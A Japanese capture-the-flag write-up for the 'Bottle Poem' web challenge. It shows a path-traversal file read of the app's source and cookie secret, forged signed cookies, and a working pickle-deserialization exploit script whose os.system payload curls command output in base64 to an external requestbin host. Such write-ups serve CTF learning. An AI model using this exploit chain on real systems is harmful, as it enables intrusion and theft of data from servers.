Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 

README.md

Bottle Poem:Web:100pts

Come and read poems in the bottle.
No bruteforcing is required to solve this challenge. Please do not use scanner tools. Rate limiting is applied. Flag is executable on server.

http://bottle-poem.ctf.sekai.team

Solution

URLのみが渡される。
アクセスすると、ポエムを読み取ることができるサイトのようだ。
Sekai’s boooootttttttlllllllleeeee
site1.png
ポエム表示ページのURLを見るとhttp://bottle-poem.ctf.sekai.team/show?id=spring.txtであった。
LFIを狙い/etc/passwdを取得する。

$ curl http://bottle-poem.ctf.sekai.team/show?id=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
~~~

取得できたが、フラグファイルなどは読み取れない。
ここで、動いているファイル名がapp.pyとGuessしてソースを取得してみる。

$ curl http://bottle-poem.ctf.sekai.team/show?id=../app.py
No!!!!
$ curl http://bottle-poem.ctf.sekai.team/show?id=../satoki.py
No This Poems

No!!!!と表示されるが、ファイルが存在しない場合のNo This Poemsとは挙動が異なる。
ブラックリストで弾いていそうなのでバイパスを考える。
よく知られた/proc/self/cwdを試す。

$ curl http://bottle-poem.ctf.sekai.team/show?id=/proc/self/cwd/app.py
from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

無事ソースが得られた。
/signという隠された挙動が発見できる。
site2.png
cookieに保存されているnameがadminになればよさそうだが、secret=sekaiで署名されている。
幸いなことにfrom config.secret import sekaiとされているのでLFIで読んでやればよい。

$ curl http://bottle-poem.ctf.sekai.team/show?id=/proc/self/cwd/config/secret.py
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

secretがわかったため、ソースと同じbottleを起動し、自身で署名してやればよい。
test1.pyで行う。

from bottle import route, run, response

@route("/")
def index():
    session = {"name": "admin"}
    response.set_cookie("name", session, secret="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")
    return "Satoki"

if __name__ == "__main__":
    run(host="0.0.0.0", port=8081)

cookieを取得する。

$ curl http://localhost:8081 -I
HTTP/1.0 200 OK
Date: Sat, 01 Oct 2022 08:39:12 GMT
Server: WSGIServer/0.2 CPython/3.8.10
Content-Length: 6
Content-Type: text/html; charset=UTF-8
Set-Cookie: name="!rsOwvUb6jllVHQVOPlZv5w==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFYWRtaW6Uc4aULg=="

これを用いて、/signにadminとしてアクセスするが、ページには何もない。
site3.png
どうやらSSTIなどRCEを目指す必要がありそうだ。
ここで、cookieがシリアライズされているような構成になっていることに気づき、pickleに知られるようなRCE手法を思い出す。
以下のtest2.pyで行う(外部サーバでコマンド結果を待ち受けている)。

from bottle import route, run, response
import os

class Exploit:
    def __reduce__(self):
        # https://requestbin.com/
        cmd = ("curl https://enx660uw0g4oc.x.pipedream.net?s=`id|base64`")
        return os.system, (cmd,)

@route("/")
def index():
    session = Exploit()
    response.set_cookie("name", session, secret="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")
    return "Satoki"

if __name__ == "__main__":
    run(host="0.0.0.0", port=8082)

cookieを取得する。

$ curl http://localhost:8082 -I
HTTP/1.0 200 OK
Date: Sat, 01 Oct 2022 08:53:01 GMT
Server: WSGIServer/0.2 CPython/3.8.10
Content-Length: 6
Content-Type: text/html; charset=UTF-8
Set-Cookie: name="!t2jkZB3klceVVq26kRw3fA==?gAWVXAAAAAAAAACMBG5hbWWUjAVwb3NpeJSMBnN5c3RlbZSTlIw4Y3VybCBodHRwczovL2VueDY2MHV3MGc0b2MueC5waXBlZHJlYW0ubmV0P3M9YGlkfGJhc2U2NGCUhZRSlIaULg=="

取得したcookieを用いてアクセスすると、外部サーバに以下のリクエストが到達した。
/?s=dWlkPTY1NTM0KG5vYm9keSkgZ2lkPTY1NTM0KG5vZ3JvdXApIGdyb3Vwcz02NTUzNChub2dyb3Vw
デコードを行う。

$ echo 'dWlkPTY1NTM0KG5vYm9keSkgZ2lkPTY1NTM0KG5vZ3JvdXApIGdyb3Vwcz02NTUzNChub2dyb3Vw' | base64 -d
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup

途中で切れているがRCEが達成できた。
あとは逐一cookieを生成しコマンドを実行することで、不審なファイルを探索するだけである。
以下にクエリ、外部サーバへのリクエスト、デコードした結果を示す。
まず初めにlsを行う。

?s=`ls|base64`

/?s=YXBwLnB5CmNvbmZpZwpwb2Vtcwp2aWV3cwo=

app.py
config
poems
views

何もなさそうなので一つ上を見てやる。

?s=`ls ../|base64`

/?s=YXBwCmJpbgpib290CmRldgpldGMKZmxhZwpob21lCmxpYgpsaWI2NAptZWRpYQptbnQKb3B0CnBy

app
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
pr

flagなるものがあった(LFIでは読み取れない)。

?s=`ls -al ../flag|base64`

/?s=LS0teC0teC0teCAxIHJvb3Qgcm9vdCA1NjggU2VwIDE1IDA2OjM3IC4uL2ZsYWcK

---x--x--x 1 root root 568 Sep 15 06:37 ../flag

権限から見るに、実行すればよさそうだ。

?s=`../flag|base64`

/?s=U0VLQUl7VzNsY29tZV9Ub19PdXJfQm90dGxlfQo=

SEKAI{W3lcome_To_Our_Bottle}

flagが得られた。

SEKAI{W3lcome_To_Our_Bottle}